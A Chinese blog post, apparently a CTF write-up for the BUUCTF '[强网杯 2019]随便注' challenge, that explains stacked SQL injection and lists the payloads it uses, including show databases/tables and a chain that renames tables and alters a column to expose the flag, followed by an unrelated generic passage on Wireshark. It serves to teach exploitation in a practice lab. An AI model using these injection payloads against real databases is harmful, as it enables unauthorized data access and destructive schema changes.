buuctf web题解之[强网杯 2019]随便注1详解

目录

一、用到的知识点

二、堆叠注入的原理

1.先看是字符型还是数字型

2.查看注入点

3.接下来就是查看闭合方式

4.再测试字段数,二分法,一点一点试,最后测试出来为2

5、联合查询,发现select|update|delete|drop|insert|where包括大小写等操作被过滤

6.先通过show databases爆出数据库

7.然后用 show tables 爆表

8.可以看到这里有两个表,我们先尝试爆words表的内容

9.爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)

10.因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100).

11、查看改之后的words表中的所有内容获得flag

一、用到的知识点

堆叠注入

二、堆叠注入的原理

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句

三、解题

1.先看是字符型还是数字型

1 and 1=1

1 and 1=2

如果两条语句都输出正确的结果,没有报错,那就是字符型注入,否之则是数字型注入

2.查看注入点

当我们输入id=1‘的时候,只要他页面有变化,那就是这里可能存在注入点

但是这里具体是要填id=1‘,还是id=1“,或者是id=1’),那就涉及到闭合方式的判断了。

3.接下来就是查看闭合方式

就如上边所说,闭合方式有很多种,我们需要挨个猜

常见的闭合方式有成对的' '、” “、( )、(' ')

判断具体是哪种,只能挨个试

.....

直到输入   1'   页面发生了报错,说明是 ' 闭合(单引号的闭合)

4.再测试字段数,二分法,一点一点试,最后测试出来为2

1’ order by 2#

5、联合查询,发现select|update|delete|drop|insert|where包括大小写等操作被过滤

1' union select 1,2#

6.先通过show databases爆出数据库

1';show databases;#

7.然后用 show tables 爆表

1';show tables;#

8.可以看到这里有两个表,我们先尝试爆words表的内容

1'; show columns from words; #

 

9.爆1919810931114514数据表字段(注意数据表为数字的时候需要用反引号括起来)

1';show columns from `1919810931114514`;#

10.因为查询是在words中查询id的,所以我们将表1919810931114514改名为words,将words改名为其余的名字。同时将flag属性改名为id属性,类型为varchar(100).

1';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#

11、查看改之后的words表中的所有内容获得flag

1’ or ‘1’='1

“查找所有列的值等于 '1' 的行,或者(or)这些行的 '1' 列的值等于 '1'”。

  • 17
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
buuctfmisc是一个CTF比赛中的题目,涉及到网络分析工具Wireshark的使用。Wireshark是一款开源的网络协议分析工具,可以用于捕获和分析网络数据包。在buuctfmisc题目中,可能需要使用Wireshark来解析和分析给定的网络数据包,以获取关键信息或者解决问题。 具体的题解步骤可能因题目而异,但通常的解题思路如下: 1. 下载并安装Wireshark:首先需要从Wireshark官网下载并安装适合你操作系统的版本。 2. 打开Wireshark并开始捕获数据包:打开Wireshark后,选择合适的网络接口开始捕获数据包。可以通过点击"Capture"按钮或者使用快捷键Ctrl + E来开始捕获。 3. 分析捕获的数据包:Wireshark会将捕获到的数据包以列表形式展示出来。你可以通过点击每个数据包来查看其详细信息,包括源IP地址、目标IP地址、协议类型等。 4. 过滤数据包:如果题目要求只关特定的数据包,你可以使用Wireshark提供的过滤功能来筛选出符合条件的数据包。过滤条件可以根据协议、源IP地址、目标IP地址等进行设置。 5. 提取关键信息:根据题目要求,你可能需要从数据包中提取关键信息。Wireshark提供了多种功能来帮助你提取数据,比如导出数据包、导出特定协议的数据等。 6. 分析数据包内容:根据题目要求,你可能需要进一步分析数据包的内容。Wireshark可以解析多种协议,你可以查看每个数据包的协议栈、协议字段等信息。 7. 解决问题或回答题目:根据你对数据包的分析和提取的关键信息,你可以解决问题或者回答题目。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值